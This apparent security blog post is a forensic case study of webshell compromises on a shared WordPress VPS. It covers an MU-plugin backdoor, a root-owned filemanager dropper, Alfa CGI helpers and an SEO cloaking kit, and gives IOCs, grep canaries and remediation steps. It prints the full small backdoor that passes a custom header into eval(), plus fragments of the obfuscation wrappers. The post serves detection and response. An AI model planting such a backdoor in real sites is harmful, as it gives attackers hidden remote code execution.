All posts

Security9 min read

Case study - PHP webshells on a shared WordPress VPS (2025–2026)

Forensic breakdown of three compromise waves - MU-plugin backdoor, root-owned filemanager dropper, and SEO cloaking kit - with no client or domain names.

Forensics desk with a laptop showing a PHP terminal and a server rack in the background

In November 2026 we closed a compromise chain on a shared AlmaLinux VPS (hosting control panel + multiple WordPress accounts) that had been active from December 2025 through late October 2026. This write-up covers what we found, how each PHP artefact worked, and what cleanup required - with no client names, domains, or public URLs.

The goal is detection and response, not a how-to-attack guide. Indicators below are enough to hunt the same families on your own hosts.

TL;DR

Wave When Artefact Role
1 Dec 2025 MU-plugin (~292 B) silent eval() via custom HTTP header
2 31 Oct 2026 hawo.php (~305 KiB, root:root) filemanager dropper on 3 accounts, identical SHA-256
2b same day (+min) doni.inc.php + OSD_DATA/*.alfa installer + CGI helpers
2c same day (~+35 min) ScrapingVisitor .htaccess SEO cloaking (bots see spam; humans get redirects)
3 (legacy) 2023 about.php “Imunify remnant” loader that survived a “cleanup”

Outcome: all artefacts quarantined, clean .htaccess restored, PHP-FPM and kernel patches applied; attacker SSH/panel login on drop day not confirmed.

Environment

  • AlmaLinux 8 shared VPS with a hosting control panel
  • Multiple Linux users / WordPress installs on one machine
  • Apache + PHP-FPM (alt-php 8.2–8.5); panel PHP separate
  • Malware scanners (e.g. Maldet) commonly skip uid 0

In this text: Account A / B / C = three WP sites hit by the same hawo.php; Account D = older remnant; Operator-1/2 = anonymised access-log sources.

Timeline

Wave 1 - quiet backdoor (10 Dec 2025)

On Account A, ~21:14–21:15 UTC:

  1. Authenticated session enters wp-admin.
  2. Opens WP PHP Console (admin.php?page=wp-php-console).
  3. Successful POST to that page.
  4. Same minute: wp-content/mu-plugins/test-mu-plugin.php appears (site-user owned, ~292 bytes).

Must-use plugins load on every request, with no UI activation step - ideal persistence.

Wave 2 - lateral drop (31 Oct 2026)

UTC Event
12:37:20 hawo.php birth on Account A, root:root, 311 711 B
12:37:31 Operator-1 GET /hawo.php → HTTP 200 (small login/stub body)
12:37:57 POST to OSD_DATA/osdcgiapi/{perl,py}.alfa (500 - CGI helpers failed here)
12:39:35 doni.inc.php (site-user owned)
12:49:01 same hawo.php on Account B (root:root)
12:49:14 Operator-2 GET /hawo.php on B → 200
12:49:43 same hawo.php on Account C (root:root)
~13:12 User-Agent: Mozilla/5.0 ScrapingSetup mass POST /setup.php - SEO kit install

hawo.php SHA-256 on A/B/C: identical
e2b7f9a290872d2e015a8b9ba2179947d3c3cc1a02d040af3493d0bf8d4bb48b

Wave 3 - legacy remnant (Account D, 2023)

about.php in the document root: Imunify360 inserted a “safe” comment and exit();, but line 1 still runs a loader before that. Classic half-clean.


Sample 1: MU-plugin HTTP-header eval

Path: wp-content/mu-plugins/test-mu-plugin.php
Size: 292 B
SHA-256: af5ee8eab067b2340640d5208417c67f932a652d45e8d3501928b7fa482833cb
Born: 10 Dec 2025 21:15 UTC
Owner: site user (not root)

<?php
/*
Plugin Name: Custom MU Plugin
Description: MU-test-plugin.
*/

// Ваш код, который нужно вставить
$the_title_sj = $_SERVER;
$the_title_ycdv = 'HTTP_1C062F9';
if (isset($the_title_sj[$the_title_ycdv])) {
    eval($the_title_sj[$the_title_ycdv]);
}

Behaviour

  1. WordPress loads the MU-plugin on every HTTP request.
  2. Attacker sends a request whose custom header lands in $_SERVER['HTTP_1C062F9'].
  3. Header value is passed straight to eval().

No password UI, tiny footprint, no shell_exec in-file - signature scanners looking for FilesMan / c99 miss it. Hunt: HTTP_1C062F9 or generic eval($_SERVER[...]) under mu-plugins/.

Entry

Access logs tie file birth to WP PHP Console in the same minute. After an admin session is stolen or reused, one POST is enough. Harden: remove PHP-console / file-manager plugins from production; 2FA on all admins; IP-restrict wp-admin where feasible.


Sample 2: hawo.php - root-owned filemanager dropper

Path: document root (/hawo.php) on Accounts A, B, C
Size: 311 711 B
SHA-256: e2b7f9a2…8d4bb48b (same on all three)
Owner: root:root
Birth: 31 Oct 2026 12:37 / 12:49 UTC

Obfuscation

Outer wrapper:

<?=eval("?>".base64_decode("…"));

First peel shows the same pattern again plus packer comments:

//Encode by : Unknown45
//Obfuscated by : Unknown45

Known packing chain for PHP filemanager / WSO-family tools (FS browse, upload, edit, command UI). The outer file deliberately lacks FilesMan, shell_exec, auth_pass strings - a naive grep looks “clean”.

Why root:root matters

  • Birth metadata shows the file was created as root, not later chown’d.
  • Maldet-class tools often skip uid 0 - dropper stays invisible until you find … -user root in webroots.
  • Secondary payloads (doni.inc.php, SEO dirs, OSD_DATA) were site-user owned - typical: root drops the primary shell, then the session continues as the FPM user.

Access log

Immediately after birth: GET /hawo.php → 200 with a small body (~274 B) - consistent with a filemanager login/stub. TelegramBot probes follow quickly.

Root-drop hypotheses (no smoking gun)

Ruled out that day: successful attacker SSH login, CWP client login. Most plausible classes:

  1. Earlier root foothold (cron, panel PHP running as root, leftover setuid helper).
  2. Abuse of panel/web stacks that execute PHP as root (known anti-pattern on some control-panel FPM setups).
  3. Less likely: same-day privilege escalation from the already-compromised WP (weak evidence in the minute-level logs).

Practical lesson: a periodic find /home/*/public_html -user root -name '*.php' is a cheap canary.


Sample 3: doni.inc.php - “Deathin Installer”

Size: 279 075 B
SHA-256: 125fef4add975c56b4ac376dfc3bba97b75321fe5b4aa94deb795b926485729d (A and B)
Owner: site user
Birth: ~2 minutes after hawo.php on the same account

Disguised as a WordPress plugin:

/**
 * Plugin Name: Deathin Installer
 * Description: Extract archive .tar.gz / .zip langsung dari wp-admin tanpa akses FTP.
 * Version: 1.0
 * Author: Private
 * License: GPL-2.0+
 */

Followed by safeDecrypt($data, $key) using base64_decode and an IV derived from the key - encrypted installer payload. Role in the chain: unpack SEO/spam archives and plant helpers without FTP, usually driven from the already-open filemanager or a follow-up bot.


Sample 4: OSD_DATA/osdcgiapi - Alfa CGI helpers

Seconds after the first hawo hit on Account A:

File Type
bash.alfa Bash
perl.alfa Perl
py.alfa Python
.htaccess handlers / access
tmp-osdcgiapi/getheader.alfa shell helper

*.alfa under OSD_DATA/osdcgiapi matches the Alfa Shell ecosystem: PHP filemanager + CGI fallbacks when disable_functions kills PHP shell_exec. Our POSTs returned 500 - helpers did not fully run - but intent is clear.


Sample 5: ScrapingVisitor SEO cloaking

After the dropper, the kit rewrites .htaccess with # BEGIN ScrapingVisitor:

  1. Exceptions for crawlers (Googlebot, Bingbot, Ahrefs, Semrush, Facebook, …) plus sitemap/robots paths.
  2. Mobile non-bot UAs → 302 to external parking/spam (friv.com in our sample; an older variant referenced another redirect host).
  3. RewriteRule maps to local static HTML spam clones.

Plus dozens of directories of spam index.html. Effect: bots see “content”; humans get redirects; owners notice late via Search Console.

UA Mozilla/5.0 ScrapingSetup on POST /setup.php is a strong install IOC.


Sample 6: about.php - Imunify half-clean loader

Size: 15 081 B
SHA-256: c30950c51ba7dcf4acd63ce552d87fe6a360516839c42fbbba2595aa55a12d84
mtime: 2023-12-24

Structure:

  1. Line 1: file_get_contents(__FILE__) + split on ?> + str_rot13 / base64_decode - classic self-reading loader.
  2. Then Imunify banner + exit();.
  3. After ?>: trailing payload blob still present.

PHP runs line 1 before exit(). If you see an Imunify remnant banner in the document root - delete the whole file.


Kill chain

[Admin session / WP PHP Console] ──► MU-plugin eval(header)
         │                              │
         │                         (months of quiet)
         ▼
[Root-capable writer] ──► hawo.php (root) on A, B, C
         │
         ├─► OSD_DATA/*.alfa  (CGI fallback; 500 here)
         ├─► doni.inc.php     (Deathin Installer, user-owned)
         └─► ScrapingSetup    ► .htaccess cloaking + spam HTML

Parallel (older): about.php Imunify remnant on Account D

Three accounts + identical SHA within <15 minutes ⇒ automated lateral deploy, not a manual one-off.

Why scanners missed pieces

Layer Miss reason
292 B MU-plugin no classic signature strings
root hawo.php uid 0 skipped; nested base64
Imunify remnant banner says “safe”; loader on line 1
SEO kit HTML + .htaccess, not a “webshell” signature

Remediation performed

  1. Quarantine (copy + SHA-256 + remove) of all artefacts above; forensic keep of SEO trees and .htaccess.hacked.
  2. Clean WordPress .htaccess restored.
  3. Re-scan (PHP signatures + Imunify remnant + HTTP_1C062F9 + ScrapingVisitor).
  4. PHP-FPM raised to patches for the then-critical RCE class; separate kernel TCP UAF CVE patched.
  5. Client guidance: rotate WP/admin/FTP secrets, 2FA, remove PHP console / file manager plugins, audit wp_users.

IOC table

Type Value
File hawo.php in document root
File doni.inc.php
Dir OSD_DATA/osdcgiapi/, tmp-osdcgiapi/
Ext *.alfa (bash/perl/py)
MU-plugin HTTP_1C062F9 / eval on $_SERVER
.htaccess # BEGIN ScrapingVisitor
UA Mozilla/5.0 ScrapingSetup
SHA-256 e2b7f9a290872d2e015a8b9ba2179947d3c3cc1a02d040af3493d0bf8d4bb48b (hawo)
SHA-256 125fef4add975c56b4ac376dfc3bba97b75321fe5b4aa94deb795b926485729d (doni)
SHA-256 af5ee8eab067b2340640d5208417c67f932a652d45e8d3501928b7fa482833cb (MU)
SHA-256 c30950c51ba7dcf4acd63ce552d87fe6a360516839c42fbbba2595aa55a12d84 (about remnant)
Comment Encode by : Unknown45
Plugin facade Deathin Installer
Imunify artifacts of previous malicious infection + file_get_contents(__FILE__) in the same file

Cheap canaries (read-only)

find /home/*/public_html -type f -name '*.php' -user root 2>/dev/null

grep -RIl --include='*.php' -E 'HTTP_1C062F9|ScrapingVisitor|Deathin Installer|Unknown45|artifacts of previous malicious infection' /home/*/public_html 2>/dev/null

grep -RIl 'BEGIN ScrapingVisitor' /home/*/public_html/.htaccess 2>/dev/null

Lessons

  1. Tiny backdoors beat giant shells for long-lived access; big shells arrive for speed and lateral movement.
  2. Root-owned PHP under public_html is an incident, not a weird permission.
  3. Antivirus remnant ≠ clean - read line 1.
  4. SEO cloaking is often the business goal (traffic/spam), not defacement.
  5. Same SHA on multiple accounts in minutes ⇒ assume host/panel blast radius, not one plugin.
  6. Remove tools that execute arbitrary PHP from wp-admin.

Intentionally omitted

Full deobfuscated innards of hawo.php / doni decrypt keys, operator IPs, and domain names. Defence needs IOCs and behaviour - not a reproduction kit.


If you run shared WordPress hosting and want the same audit pattern (canary → quarantine → log forensics), get in touch - we start read-only, without taking production down.

Read next

WhatsApp